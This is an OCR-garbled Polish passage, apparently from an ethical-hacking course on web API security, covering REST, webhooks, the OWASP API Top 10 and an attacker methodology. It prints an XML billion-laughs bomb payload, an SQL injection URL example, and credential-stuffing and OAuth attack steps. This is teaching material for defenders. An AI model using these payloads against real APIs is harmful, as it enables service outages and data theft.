podczas przetwarzania zadania

o Cacheable: Klient powinien zapisywac¢ odpowiedzi (reprezentacje) w pamieci podrecznej. Ta funkcja
moze zwiekszy¢ wydajnos¢ interfejsu API

o Srodowisko klient-serwer: zaréwno klient, jak i serwer powinny by¢ od siebie niezalezne, poniewaz
serwer obstuguje operacje zaplecza, a klient jest interfejsem, z ktérego wysytane sg zgdania

o Jednolity interfejs: Zasoby muszg by¢ rozpoznawane w sposdb szczegélny i niezalezny za
posrednictwem pojedynczego adresu URL przy uzyciu podstawowych metod protokotdow, takich jak
PUT, POST, GET i DELETE, oraz powinna istnie¢ mozliwo$¢é modyfikowania zasobu

o System warstwowy: architektura wielowarstwowa umozliwia serwerom posredniczagcym
udostepnianie pamieci wspotdzielonej (pamieci podrecznej) w celu osiggniecia skalowalnosci,
poniewaz system kliencki nigdy bezposrednio nie powiadamia gtéwnego serwera o swojej facznosci.

o Kod na zadanie: opcjonalna funkcja, w przypadku ktdrej serwer moze réwniez udostepnic klientowi
tymczasowy kod wykonywalny, za pomocg ktérego mozna dostosowac funkcjonalnosc¢ klienta

XML-RPC: Extensible Markup Language - Remote Procedure Call (XML-RPC) to protokdt komunikacyjny
wykorzystujgcy okreslony format XML do przesytania danych, podczas gdy SOAP uzywa zastrzezonego
XML do przesytania danych. Jest prostszy niz SOAP i wykorzystuje mniejszg przepustowosé do
przesyfania danych.

JSON-RPC: JavaScript Object Notation — Remote Procedure Call (JSON-RPC) to protokét
komunikacyjny, ktory dziata w taki sam sposéb jak XML-RPC, ale uzywa formatu JSON zamiast XML do
przesytania danych.

Czym sg webhooki?

Webhook to zdefiniowane przez uzytkownika interfejsy APl wywotania zwrotnego HTTP lub
wypychania, ktére s3 wywotywane na podstawie wyzwalanych zdarzen, takich jak otrzymanie
komentarza do wpisu i przekazanie kodu do rejestru. Webhook umozliwia aplikacji aktualizowanie
innych aplikacji o najnowsze informacje. Po wywotaniu dostarcza dane do innych aplikacji, co oznacza,
ze uzytkownicy natychmiast otrzymujg informacje w czasie rzeczywistym. Elementy webhook sg
czasami nazywane ,odwrotnymi interfejsami API”, poniewaz zapewniajg to, co jest wymagane do
specyfikacji interfejsu API, a programista powinien utworzy¢ interfejs APl do korzystania z elementu
webhook. Webhook to koncepcja interfejsu API, ktdra jest rowniez uzywana do wysyfania wiadomosci
tekstowych i powiadomiern na numery telefondw komodrkowych lub adresy e-mail z aplikacji po
uruchomieniu okreslonego zdarzenia. Na przykfad, jesli szukasz czego$ w sklepie internetowym, a
zgdanego artykutu nie ma w magazynie, kliknij pasek ,,Powiadom mnie”, aby otrzymaé powiadomienie
z aplikacji, gdy ten artykut bedzie dostepny do zakupu. Te powiadomienia z aplikacji sg zwykle wysytane
za posrednictwem webhookdw.

Dziatanie webhookow



Webhooki sg rejestrowane wraz z rejestracjg domeny przez interfejs uzytkownika lub APl w celu
informowania klientéw o wystgpieniu nowego zdarzenia. Wygenerowana sciezka zawiera wymagany
kod, ktory jest automatycznie wykonywany przy wystgpieniu nowego zdarzenia. Tutaj systemy nie
muszg wiedzie¢, co nalezy uruchomié; wystarczy przesledzic Sciezke, aby wygenerowac
powiadomienia. Webhook to potezne narzedzie, poniewaz w sieci wszystko pozostaje odizolowane.
Jak pokazano na ponizszym rysunku, gdy system-2 otrzyma powiadomienie z wybranej Sciezki domeny,
nie tylko dowiaduje sie o pojawieniu sie nowych zdarzen na innych komputerach, ale takze na nie
reaguje. Sciezka zawiera kod, do ktérego mozna uzyskaé dostep za posrednictwem zgdania HTTP POST.
Informuje rowniez uzytkownika o miejscu, z ktérego wiadomos¢ zostata uruchomiona, w tym o dacie i
godzinie oraz innych szczegdtach zwigzanych ze zdarzeniem. Webhooki mogg by¢ prywatne lub
publiczne.

Webhooki a interfejsy API

Webhooki to automatyczne wiadomosci ze stron internetowych na serwer. Interfejsy APl sg uzywane
do komunikacji miedzy serwerem a witryna.

Webhooki otrzymujg raporty lub powiadomienia przez HTTP POST tylko wtedy, gdy dokonywana jest
nowa aktualizacja. APl wykonujg wywotania niezaleznie od aktualizacji danych.

Webhooki aktualizujg aplikacje lub ustugi za pomocg informacji w czasie rzeczywistym. Interfejs API
wymaga dodatkowych implementacji do wykonania tej czynnosci.

Webhooki majg mniejszg kontrole nad przeptywem danych. Interfejsy APl zapewniajg tatwa kontrole
nad przeptywem danych.

OWASP Top 10 zagrozen bezpieczenstwa API

Wedtug OWASP, 10 najwiekszych zagrozen bezpieczenstwa API to:

APl Risks Description
= APIs expose the endpoints handling object identifiers, and the server
Broken Object component does not track the client's state properly, resulting in a
API1 | Level massive attack surface level access control flaw
Authorization = Allows the attacker to modify the object's ID value and obtain

unauthorized access to the data source

= Vulnerabilities in authentication mechanisms allow attackers to capture
authentication tokens and steal user identities

Broken User = Attackers can easily compromise the API security using authentication
API2 R 35 2
Authentication tokens and exploiting implementation flaws
= APIs are vulnerable to authentication attacks such as credential stuffing
and brute-forcing
= While designing the API, the developers may expose all the object
API3 Excessive Data properties to the clients without considering their individual sensitivity
Exposure and depend on the clients for filtering data

= Allows attackers to retrieve more information than requested

= APIs avoid enforcing restrictions on the number of resources requested
by the client

= Allow attackers to consume all the available resources, resulting in service
unavailability to legitimate users, causing DoS

= May include authentication flaws that can be exploited to perform brute-
force attacks

Lack of
API4 | Resources and
Rate Limiting




Complexity in access control policies through different hierarchies,
Broken Function groups, and roles between administrative and regular functions can cause
APIS | Level authorization errors
Authorization Allow attackers to gain unauthorized access to administrative functions or
users’ resources
APIs accidentally expose the internal variables or objects due to improper
APl6 Ma_ss binding and filtering based on a whitelist
Assignment . . )
Allow attackers with unauthorized access to modify the object properties
Security misconfigurations include vulnerabilities such as insecure default
configurations, ad-hoc configurations, open cloud storage, misconfigured
Security HTTP headers, permissive cross-origin resource sharing (CORS), and
AR Misconfiguration missing TLS/SSL.
Allow attackers to perform various attacks and compromise the system
security
Sending untrusted data as queries to the interpreter may result in
X injection flaws, such as SQL, LDAP, XML, and command injection,
API8 | Injection 2 ¢
Allow attackers to trick the interpreter by sending data to execute
malicious commands and gain unauthorized access
improper Assets lmprqper as;et management occurs due to a lack of version cp_n'tro| for
API9 APl hierarchies, and older versions of API consists of vulnerabilities that
Management ;
can be exploited by the attacker
Lack of proper logging and monitoring along with missing or ineffective
Insufficient integration with incident response can make the system vulnerable
API10 | Logging and Allow attackers to compromise the system, maintain persistence, and
Monitoring pivot to other systems and networks to extract, tamper with, or destroy
data
Luki w API

Nowoczesne aplikacje webowe i platformy SaaS wykorzystujg APl ze wzgledu na ich rozbudowane
funkcje, a wiekszos¢ bezpieczeristwa APl koncentruje sie gtdwnie na aspektach technicznych. Stabe
zarzadzanie uprawnieniami API, btedy w logice biznesowej oraz ujawnienie logiki aplikacji i wrazliwych
danych, takich jak dane osobowe (Pll), drastycznie zwiekszajg powierzchnie ataku i torujg atakujgcym
droge do wykorzystania tych luk w celu przeprowadzenia wielu atakow, takich jak DoS i atak polegajacy

na wstrzykiwaniu kodu.

Ponizej wymieniono niektére typowe luki w interfejsie API:

Luki : Opis

1. Wyliczone zasoby:

Wady projektowe moga powodowaé powazne luki w zabezpieczeniach, ujawniajgc informacje za

posrednictwem nieuwierzytelnionego publicznego interfejsu API

Zezwalaj

atakujgcym na

tatwe odgadywanie identyfikatorow uzytkownikéw, zagrazajac

bezpieczenstwu danych uzytkownika.

2. Udostepnianie zasobdw za posrednictwem niepodpisanych adreséw URL:




Interfejs APl zwraca adresy URL do zasobdw hipermedialnych, takich jak obrazy, pliki audio lub wideo,
ktore sg podatne na hotlinkowanie

Moze to powodowac kilka problemdw, takich jak staba analityka i obcigzenie zasobdw, i moze by¢
wykorzystywane przez atakujgcych do wykorzystywania

Podpisane adresy URL mogg stuzy¢ do wdrazania zasad, takich jak ograniczanie szybkosci,
automatyczne wygasanie i udostepnianie w okreslonym zakresie

3. Luki w bibliotekach stron trzecich:

Deweloperzy korzystajg z bibliotek oprogramowania innych firm, ktére majg licencje na
oprogramowanie typu open source

Unikanie regularnych aktualizacji i relegowanie poprawek bezpieczeristwa moze spowodowaé wiele
luk w zabezpieczeniach

4. Niewtfasciwe uzycie CORS:

Udostepnianie zasobow miedzy Zrodtami (CORS) to mechanizm, ktéry umozliwia przegladarce
internetowej wykonywanie zgdan miedzy domenami; niewtfasciwe implementacje

CORS moze powodowaé niezamierzone btedy

Uzywanie nagtéwka ,Access-Control-Allow-Origin” do zezwalania na wszystkie Zzrédta w prywatnych
interfejsach APl moze prowadzi¢ do faczenia na gorgco

5. Wstrzykniecia kodu:

Jesli dane wejsciowe nie zostang oczyszczone, atakujgcy mogg uzy¢ technik wstrzykiwania kodu, takich
jak SQLi i XSS, aby dodaé ztosliwe instrukcje SQL lub kod do pél wejsciowych w interfejsie API

Zezwdl atakujgcym na kradziez krytycznych informacji, takich jak sesyjne pliki cookie i dane
uwierzytelniajgce uzytkownika.

6. Eskalacja uprawnien RBAC:

Eskalacja uprawnien to powszechna luka wystepujgca w interfejsach APl z kontrolg dostepu opartg na
rolach (RBAC), w ktérej zmiany punktéw koricowych sg wprowadzane bez nalezytej uwagi

Zezwol atakujgcym na uzyskanie dostepu do poufnych informacji uzytkownikéw
7. Brak walidacji ABAC:

Brak odpowiedniej weryfikacji kontroli dostepu opartej na atrybutach (ABAC) umozliwia atakujgcym
uzyskanie nieautoryzowanego dostepu do obiektow APl lub wykonanie dziatan, takich jak
przegladanie, aktualizowanie lub usuwanie

8. Wady logiki biznesowe;j:
Wiele interfejséw API ma luki w logice biznesowej

Zezwalaj atakujgcym na wykorzystywanie legalnych przeptywdéw pracy do ztosliwych celéw



Metodologia hakowania interfejséw API sieci Web

W ostatnich latach nastgpit ogromny wzrost wykorzystania internetowych interfejséw APl do obstugi
urzadzen heterogenicznych, takich jak urzadzenia mobilne i urzadzenia loT. Urzadzenia te czesto

komunikujg sie z serwerami internetowymi zaplecza za posrednictwem interfejséw API. Aby uczynié te
internetowe interfejsy API bardziej przyjaznymi dla uzytkownika, programisci stosujg skréty do
zabezpieczen, narazajac ustugi sieciowe online na rézne ataki. Atakujgcy uzywaja réznych technik do
identyfikowania i wykorzystywania luk w tych interfejsach API. Aby zhakowa¢ interfejs API, atakujacy
muszg zidentyfikowaé technologie API, standardy bezpieczeristwa i powierzchnie ataku w celu

wykorzystania. Hakowanie internetowego interfejsu APl obejmuje nastepujgce fazy:
Zidentyfikuj cel

Wykrywaj standardy bezpieczenstwa

Zidentyfikuj powierzchnie ataku

Rozpocznij ataki

Zidentyfikuj cel

Przed zhakowaniem interfejsu APl osoba atakujgca musi najpierw zidentyfikowac cel i jego obwadd:

HTTP: interfejsy API, takie jak SOAP i REST, najczesciej uzywajg protokotu HTTP do komunikowania
komunikatéw opartych na interfejsie APl. Protokét HTTP jest protokotem tekstowym, w ktérym
informacje nagtéwkowe s3g przesytane w czytelnym formacie. Rozwazmy na przyktad nastepujace

nagtéwki zadania i odpowiedzi HTTP:

HTTP Request

GET /doc/test.html HTTE/1.1 — > Reqguest Lline

Host: www.certifiedhacker.com
Accept: image/gif, image/jpeg, */* Request
Accapt-Language: an-us Request

Message
Accept-Encoding: gzip, deflate Headers &
User-Agent: Firefox/68.4.1 Header
Content-Length: 35

bookId=78906&author=Rob+ert } I —
HTTP Response

HTTE/L1.1 200 OK =3 Status Line

Date: Sun, 05 Jan xxxx 01:11:12 GMT B N

Server: Apache/2.4 (Win32)

Last-Modified: Sat, 11 Jan xxxx Response

ETag: "0=23=-4024c3a5" ;_,R“F"““ ‘- Message

Accept-Ranges: bytes Headers Header

Content-Length: 35

Connaction: closa

Content-Type: text/html -

-
3 Blank line separating Header and Body

<hl> My Home page</hl> Response Message Body

= Blank line separating Header and Body



Jak pokazano na rysunku, zaréwno nagtowki HTTP Request, jak i Response sg przesytane w postaci
zwyktego tekstu; atakujgcy moze ftatwo manipulowac tymi nagtéwkami, aby zidentyfikowac cel.

Formaty komunikatow: Komunikaty interfejsu APl przesytane przez Internet bedg miaty pewien
format, taki jak JSON dla interfejsu API REST i XML dla interfejsu APl SOAP. Jesli formaty te sg uzywane
nieprawidtowo, mogg utorowac droge do powstania luk w zabezpieczeniach. Poniewaz te formaty sg
tatwe do zrozumienia, osoba atakujaca moze tatwo manipulowaé¢ wiadomosciami zakodowanymi w
tych formatach, aby zidentyfikowac cel i jego granice.

Wykryj standardy bezpieczenstwa

Chociaz interfejsy API twierdzg, ze sg bezpieczne, poniewaz zawierajg standardy bezpieczenstwa, takie
jak OAuth i SSL, nadal zawieraja wiele luk, ktére moga zosta¢ wykorzystane przez atakujgcych.
Interfejsy API, takie jak SOAP i REST, implementujg rézne standardy uwierzytelniania/autoryzacji, takie
jak OpenID Connect, SAML, OAuthl.X i 2.X oraz WS-Security. SSL zapewnia bezpieczenstwo na poziomie
transportu dla komunikatéw API, aby zapewni¢ poufnosc¢ dzieki szyfrowaniu i integralnos¢ dzieki
podpisowi. Chociaz protokdt SSL jest uzywany w celu zapewnienia bezpieczenistwa, w wiekszosci
komunikatéw APl szyfrowane s3 tylko poufne dane uzytkownika, takie jak dane karty kredytowej

inne informacje w postaci zwyktego tekstu. Jesli te standardy bezpieczeristwa sg nieprawidtowo
skonfigurowane, osoba atakujgca moze zidentyfikowac luki w tych standardach w celu dalszego
wykorzystania. Na przyktad osoba atakujgca moze przechwyci¢ token sesji i ponownie go uzy¢ w celu
odzyskania niezaszyfrowanych informacji o koncie legalnego uzytkownika.

Zidentyfikuj powierzchnie ataku

Po zidentyfikowaniu docelowego interfejsu API, ktdry ma zosta¢ zaatakowany, oraz jego implementacji
zabezpieczen, osoba atakujgca musi zidentyfikowac powierzchnie ataku, aby rozpocza¢ atak. Bardzo
tatwo jest znalezé¢ powierzchnie ataku dla aplikacji opartych na Ul, poniewaz na stronach
internetowych mozemy zobaczy¢ rézne pola wprowadzania. Jednak identyfikacja powierzchni ataku
dla interfejsu API jest inna, poniewaz nie ma wbudowanych pdl Ul; widzimy tylko punkt koncowy API.
Aby zidentyfikowaé powierzchnie ataku interfejsu API, osoby atakujgce muszg zrozumieé punkty
konicowe, komunikaty, parametry i zachowanie interfejsu API.

Luki w zabezpieczeniach metadanych interfejsu API

Metadane interfejsu APl ujawniajg duzg ilos¢ informacji technicznych, takich jak Sciezki, parametry i
formaty komunikatow, ktére sg przydatne do przeprowadzenia ataku. REST API uzywa formatéw
metadanych, takich jak Swagger, RAML, API-Blueprint i I/O Docs, podczas gdy SOAP API uzywa
schematu WSDL/XML itp. Wezmy na przyktad nastepujacy fragment kodu Swagger, ktéry ujawnia
informacje techniczne.

Atakujacy mogg wykorzystywaé luki w tych definicjach do przeprowadzania réznych atakéw na
interfejsy API.

Wykrywanie API

Jesliinterfejs API nie zawiera metadanych, osoby atakujgce monitorujg i rejestrujg komunikacje miedzy
interfejsem APl a istniejgcym klientem, aby zidentyfikowaé poczatkowag powierzchnie ataku. Na
przyktad osoba atakujgca moze uzyé aplikacji mobilnej, ktéra korzysta z docelowego interfejsu API,
skonfigurowacd lokalny serwer proxy do rejestrowania ruchu, a na koncu skonfigurowac urzgdzenie
mobilne, aby korzystato z tego serwera proxy w celu uzyskania dostepu do interfejsu API. Nastepnie



atakujacy wykorzystuje zautomatyzowane narzedzia do generowania metadanych z zarejestrowanego
ruchu.

Brutalna sita

Jesli zadna z wyzej wymienionych technik nie dziata, osoby atakujgce prébujg zidentyfikowac Sciezki
API, argumenty itp. za pomoca brutalnego wymuszania. Typowe S$ciezki APl uzywane przez
programistéw to api, /api/v2, /apis.json itp. Ponadto niektdre interfejsy API, takie jak hipermedia,
umozliwiajg pobieranie linkow i parametréw zwigzanych z odpowiedzig API. Te informacje pomagajg
atakujacym zidentyfikowaé powierzchnie ataku.

Analizuj zgdania i odpowiedzi Web API

Atakujacy moga uzywac narzedzi, takich jak Postman i ReqBin, do przechwytywania i analizowania
docelowych internetowych interfejséw API, stron internetowych i ustug internetowych.

Postman

Postman umozliwia atakujgcym przechwytywanie ruchu API, w tym zgdan, odpowiedzi i plikéw cookie,
przy uzyciu wbudowanego serwera proxy. Listonosz przechwytujgcy moze przechwytywaé zadania i
odpowiedzi, a serwer proxy Postmana dziata w aplikacji Postman i moze by¢ uzywany z witrynami HTTP
lub HTTPS.

Uruchom ataki

Po zidentyfikowaniu docelowego interfejsu API, przeanalizowaniu formatéw wiadomosci i standardow
bezpieczenstwa oraz zidentyfikowaniu obszaru ataku, osoby atakujgce przeprowadzajg rézne ataki na
docelowy interfejs APl w celu kradziezy poufnych informacji, takich jak dane karty kredytowej i dane
uwierzytelniajgce. Ponizej omoéwiono rézne ataki przeprowadzane na interfejsy API:

Fuzzing

Atakujacy uzywaja techniki fuzzingu, aby wielokrotnie wysyta¢ losowe dane wejsciowe do docelowego
interfejsu APl w celu wygenerowania komunikatéw o btedach, ktére ujawniajg krytyczne informacje.
Aby wykona¢ fuzzing, osoby atakujgce uzywajg zautomatyzowanych skryptéw, ktdre wysytajg liczne
zadania z réznymi kombinacjami parametrow wejsciowych. Atakujgcy uzywajg narzedzi, takich jak
Fuzzapi, do wykonywania fuzzingu na docelowym interfejsie API.

Nieprawidtowe ataki wejsciowe

W niektdrych scenariuszach fuzzing jest trudny do wykonania ze wzgledu na swoja strukture. W takich
przypadkach osoby atakujgce wprowadzg nieprawidtowe dane wejsciowe do interfejsu API, takie jak
wysytanie tekstu zamiast liczb, wysytanie liczb zamiast tekstu, wysytanie wiekszej liczby znakéw niz
oczekiwano, wysytanie znakdéw pustych itp. w celu wydobycia poufnych informacji z nieoczekiwanego
zachowania systemu i komunikatéw o btedach. Jednoczesnie osoby atakujgce manipulujg réwniez
nagtéwkami i wartosciami HTTP, kierujac sie zaréwno logikg API, jak i protokotem HTTP.

Ztosliwe ataki wejsciowe

W ataku oméwionym powyzej atakujacy probujg odzyska¢ poufne informacje z nieoczekiwanego
zachowania systemu lub komunikatow o btedach. Bardziej niebezpieczny atak polega na tym, ze
atakujgcy wstrzykuja ztosliwe dane wejsciowe bezposrednio w celu zaatakowania zaréwno interfejsu
API, jak i jego infrastruktury hostingowej. Aby przeprowadzi¢ ten atak, osoby atakujgce wykorzystuja
ztosliwe parsery wiadomosci przy uzyciu XML.



Ponizszy fragment kodu ilustruje atak bombg XML:

<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE lolz [

< » ENTITY lol "lol">

<IENTITY loll "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol; &lol; &lol;">
<» ENTITY
"&loll;&loll;&loll;&loll;&loll;&loll;&loll; &loll; &loll;Sloll; ">
<IENTITY
"&lol2;&I012;&I012;&l012;&l012;&I012;&I012;&I012;&l012;&l012;">
<» ENTITY
"&lol3;&l013;&l013;&l0l3;&l013;&l0l3;&l0l3;&I0l3;&l013;&l013;">
lol2

lol3

lol4

<» ENTITY
"&lol4;&lo0l4;&l0l4;&l0l4;&l0l4;&I0l4;&l0l4;&l0l4;&lI0l4;&I014;">
lol5

<IENTITY I0I6

" &lol5;&lol5;&lol5;&l0l5;&l015;&l0l5;&l0l5;&l0l5;&Iol5;&Iol5;">
<IENTITY

" &1016;&1016;&1016;&1016;&1016;&1016;&1016;&1016;&1016; &1016;">
<IENTITY

" &lol7;&lol7;&I017;&l0l17;&lol7;&l0l7;&I017;&I017;&I017;&l0l7;">
<»ENTITY

" &1018;&1018;&1018;&I1018;&1018;&1018;&1018;&1018; &1018;&1018;">
lol7

1018

lol9

1>

<lolz>&lol9;</lolz>



Gdy powyiszy kod jest przetwarzany przez podatny na ataki lub Zle skonfigurowany parser XML,
sprobuje on rozszerzy¢ jednostke lol9, co spowoduje btad braku pamieci. Powoduje to catkowite
wytaczenie serwera docelowego lub narazenie go na dalsze ataki. Innym sposobem, w jaki osoby
atakujgce przeprowadzajg ten atak, jest przesytanie ztosliwych plikow skryptow, np. przesytanie
skryptu powtoki zamiast dokumentu pdf. Moze to spowodowac wykonanie ztosliwego skryptu w celu
obejscia mechanizmdéw bezpieczeristwa na serwerze lub rozprzestrzenienie skryptu na inne strony,
ktore prébujg uzyskaé dostep do API. Wykorzystujac te technike atakujgcy, spréobuj wyodrebnié
informacje zwigzane z bazowym systemem plikow.

Ataki iniekcyjne

Podobnie jak w przypadku tradycyjnych aplikacji internetowych, interfejsy APl sg réwniez podatne na
rézne ataki iniekcyjne. Rozwazmy na przyktad nastepujgcy normalny adres URL:

http://billpay.com/api/vl/cust/459

Dla powyzszego adresu URL API pobiera dane klienta na podstawie identyfikatora klienta 459 z bazy
danych za pomocg nastepujgcego zapytania SQL:

,SELECT * FROM Customers where custID=""+ oustID+” *,,

Tutaj custID jest zastepowany przez 459

,SELECT * FROM Customers, where cust|D="'459""

W powyzszym adresie URL zatézmy, ze osoba atakujgca wstrzykuje ztosliwe dane wejsciowe
http://billpay.com/api/vl/cust/ 1%200r%2011 '="1

Wynikowe ztosliwe zapytanie SQL to

,SELECT * FROM Customers, where custID=w lub '1' =

Wspomniane zapytanie zwraca szczegétowe informacje o wszystkich klientach znajdujacych sie w
bazie. Korzystajgc z tych informacji, osoba atakujgca moze dalej usuwaé lub modyfikowaé dane w bazie
danych lub wykorzystywac informacje klientéw do wykonywania innych ztosliwych dziatan na serwerze
bazy danych. Te ataki polegajgce na wstrzykiwaniu interfejsu APl sg wykonywane nie tylko przy uzyciu
jezyka SQL, ale takze JSON, JavaScript, XPath, XSLT itp., ktére do wykonania wymagaja
parserow/procesorow.

Uwaga: podobnie jak w przypadku atakéw polegajgcych na wstrzykiwaniu, interfejsy API sieci Web s3
rowniez podatne na ataki XSS i CSRF

Wykorzystywanie niezabezpieczonych konfiguracji

o Niepewna konfiguracja SSL: Luki w konfiguracji SSL mogg umozliwi¢ atakujgcym przeprowadzanie
atakdow MITM. Na przyktad uzycie samopodpisanych certyfikatow SSL w celu zapewnienia
bezpiecznego dostepu do interfejsu APl moze umozliwié atakujgcym przeprowadzenie ataku MITM.
Osoba atakujgca moze wachac ruch miedzy interfejsem API a klientem, manipulowa¢ certyfikatem po
stronie klienta i rozpoczagé monitorowanie lub manipulowanie zaszyfrowanym ruchem miedzy
klientem a interfejsem API.

o Niezabezpieczone bezposrednie odwotania do obiektéw (IDOR): Ogodlnie rzecz biorgc, bezposrednie
odwotania do obiektéw sg uzywane jako argumenty dla wywotan API, a prawa dostepu nie sg
narzucane obiektom, do ktérych uzytkownik nie ma dostepu. Luki te mogg zosta¢ zidentyfikowane za



pomocg metadanych interfejsu APl i wykorzystane przez atakujgcych do zidentyfikowania parametrow
i wyprébowania wszystkich mozliwych wartosci parametréw w celu uzyskania dostepu do danych, do
ktérych uzytkownik nie ma dostepu.

o Niebezpieczna obstuga sesji/uwierzytelniania: Luki w zabezpieczeniach, takie jak ponowne uzycie
tokendw sesji, tokeny sesji sekwencyjnej, przekroczenie limitu czasu diugiego tokena sesji,
niezaszyfrowany token sesji i token sesji osadzony w adresie URL, umozliwiajg atakujgcym przejecie i
przejecie sesji klienta oraz kradziez lub manipulowaé komunikatami miedzy klientem a interfejsem API.

Ataki polegajace na upychaniu danych logowania/poswiadczen

Atakujacy czesto atakujg systemy logowania i sprawdzania poprawnosci, poniewaz ataki na te systemy
sg trudne do wykrycia i powstrzymania przy uzyciu typowych rozwigzan bezpieczedstwa API. Atakujgcy
przeprowadzajg ataki polegajace na logowaniu lub upychaniu danych uwierzytelniajgcych w celu
wykorzystania ponownego uzycia hasta na wielu platformach. Wiekszos¢ uzytkownikéw uzywa tych
samych haset, aby uzyska¢ dostep do réznych ustug internetowych. Atakujacy mogg wykorzystac¢ dane
uwierzytelniajgce skradzione z jednego konta i uzy¢ ich do sprawdzenia poprawnosci innych ustug.

Ataki polegajgce na upychaniu poswiadczern nie obejmujg zgadywania haset ani brutalnego
wymuszania haset; zamiast tego atakujgcy probujg zautomatyzowal wszystkie wczesniej
zidentyfikowane pary poswiadczen za pomocga zautomatyzowanych narzedzi, takich jak Sentry MBA i
PhantomlS, aby wtamac sie na konto. Ataki te mogg by¢ rowniez przeprowadzane w celu zaktécenia
dziatania ustug opartych na interfejsach API, uniemozliwiajagc prawidtowym uzytkownikom
zalogowanie sie, a tym samym pogarszajac wrazenia uzytkownika i funkcjonalnos¢ przednich
interfejséw API. Atakujgcy zazwyczaj wykorzystujg boty do rézinych préb logowania przy uzyciu
wczesniej skradzionych danych (zebranych z poprzednich logowan) lub ujawnionych informacji
nalezacych do jednego konta w celu wtamania na inne konta/ustugi lub bombardowania serwera
duzym zestawem zgdan logowania, az trafi sie wtasciwa kombinacja. Gdy atak sie powiedzie,
napastnicy nie tylko przejmujg kontrole nad kontem uzytkownika, ale takze wykonujg nielegalne
transakcje z konta i przeprowadzajg oszukancze kampanie online.

Ataki APl DDoS

Atak DDoS polega na nasyceniu interfejsu APl ogromnym ruchem z wielu zainfekowanych komputeréw
(botnet), aby opdzni¢ ustugi API dla legalnych uzytkownikéw. Chociaz wiele ograniczen dotyczacych
szybkosci transmisji jest wdrazanych w celu ochrony serwera przed awariami, mogg one nie zapobiega¢
opdznieniom ustugi (odpowiedzi interfejsu API), co pogarsza komfort uzytkowania interfejsu API.
Atakujacy czesto przeprowadzajg te ataki za pomocg botnetdw tworzonych w celu wykrywania i
utrzymywania kontroli limitu szybkosci APl w celu zwiekszenia mozliwosci ataku. Oprdcz zwyktego
ruchu pochodzgcego od uprawnionych uzytkownikdw, zadania atakujacych moga réwniez omijac
systemy zarzgdzania bezpieczenstwem API, systemy réwnowazenia obcigzenia i inne implementacje
zabezpieczen. Wiekszos¢ z tych atakdw moze nie by¢ wolumetryczna. Mogg réwniez wykorzystywac
pewne luki w interfejsie APl do zaktdcania dziatania ustug API. Na przyktad osoba atakujaca, ktéra
uzyska dostep do interfejsu API, moze wykorzystac procesor i inne zasoby pamieci zarezerwowane dla
interfejsu API, aby opdzni¢ ustuge tak dtugo, jak to mozliwe.

Ataki autoryzacyjne na API: Ataki OAuth

Wedtug https://authO.com, OAuth to protokdt autoryzacji, ktéry pozwala uzytkownikowi na
przyznanie ograniczonego dostepu do jego zasobdw w jednej witrynie innej witrynie bez koniecznosci
ujawniania swoich danych uwierzytelniajgcych.



OAuth zapewnia przeptywy autoryzacji dla wielu urzadzen komputerowych i aplikacji, takie jak tagczenie
uzytkownikéw z réznymi aplikacjami z jednej aplikacji w celu uzyskania dostepu do wymaganych
informacji.

RAini aktorzy zaangazowani w proces OAuth:

o Wiasciciel zasobu: Wiasciciel zasobu jest rowniez znany jako uzytkownik, ktéry udziela aplikacji
pozwolenia na dostep do swojego konta. Dostep do aplikacji jest ograniczony lub warunkowy, np.
nadanie tylko uprawnien do odczytu i zapisu.

o Serwer autoryzacji/zasobdw (API): serwer zasobdw zapewnia zabezpieczone konto uzytkownika, a
serwer autoryzacji weryfikuje tozsamos$¢ uzytkownika, a nastepnie dostarcza token dostepu do
aplikacji.

o Klient lub Aplikacja: Jest to aplikacja, ktora szuka dostepu do konta uzytkownika. Aby uzyskac dostep
do konta, uzytkownik musi autoryzowac aplikacje; nastepnie interfejs APl powinien zweryfikowac
autoryzacje.

Kroki zwigzane z przyznaniem kodu autoryzacji

Przyznawanie kodu autoryzacyjnego obejmuje cztery kroki, za pomocg ktérych osoby atakujgce mogg
przeprowadzac rézne ataki autoryzacyjne na interfejs API.

o Uzytkownik przekazuje klientowi zadanie GET za posrednictwem agenta uzytkownika w celu
zainicjowania procesu autoryzacji. Operacje te mozna wykonac za pomocg przycisku ,Zalogu;j sie lub
Potacz” wyswietlanego na stronie klienta.

o Agent uzytkownika moze zostaé przekierowany do serwera autoryzacyjnego przez klienta przy uzyciu
nastepujgcych parametrow:

e response_type: Kod uzywany do informowania serwera, ktére uprawnienia wykonac
e clientjd: identyfikator przypisany do klienta

e redirect_uri: identyfikator URI, w ktédrym serwer autoryzacji przekierowuje agenta uzytkownika po
podaniu kodu autoryzacji

e zakres: Okresla poziom dostepu do aplikacji

e Stan: Nieprzezroczysta wartos¢ uzywana w implementacjach zabezpieczen. Wartosé jest rowniez
uzywana do utrzymywania stanu miedzy zgdaniem a wywotfaniem zwrotnym

o Gdy uzytkownik jest uwierzytelniany i autoryzowany w celu uzyskania dostepu do zasobu, klient
uzytkownika jest przekierowywany do redirect_uri przez serwer autoryzacji. W tym celu serwer uzywa
nastepujgcych parametréow:

¢ Kod: Kod autoryzacyjny
e Stan: Wartos¢ podana w powyzszym zgdaniu

o Korzystajac z kodu autoryzacyjnego, klient zgda tokena dostepu, dodajgc nastepujgce parametry w
tresci zadania:

e grant_type: kod_autoryzacji

e kod: Kod autoryzacyjny otrzymany w poprzedniej wiadomosci



e redirect_uri: URI uzyty w pierwszym zadaniu
Ataki OAuth

Ponizej opisano rézne ataki na OAuth przeprowadzane poprzez manipulowanie powyzszymi
zgdaniami:

o Atak na zadanie ,,Pofacz”.

Wiekszo$¢ witryn umozliwia uzytkownikom dostep do innych witryn, takich jak LinkedIn, Instagram i
Twitter, za posrednictwem protokotu OAuth. Osoba atakujgca moze wykorzystaé zgdania potgczenia
jednej witryny z drugg, np. gdy uzytkownik kliknie przycisk ,Zaloguj sie lub Potgcz”. Nastepnie moze
uzyskac nielegalny dostep do konta uzytkownika/ofiary po stronie klienta, tgczgc swoje konto ze strong
internetowa dostawcy.

Kroki przeprowadzania ataku na zadanie ,,Pofacz”:
¢ Atakujacy otwiera fatszywe konto na stronie internetowej dostawcy

e Atakujacy inicjuje operacje ,Potacz” z klientem za posrednictwem swojego fatszywego konta na
stronie dostawcy, ale wstrzymuje przekierowania serwera autoryzacyjnego, co oznacza, ze atakujgcy
weryfikuje dostep klienta do jego zasobdow u dostawcy, podczas gdy klient jest nie poinformowany.

¢ Osoba atakujgca tworzy ztos$liwg strone internetowg w nastepujacy sposdb:
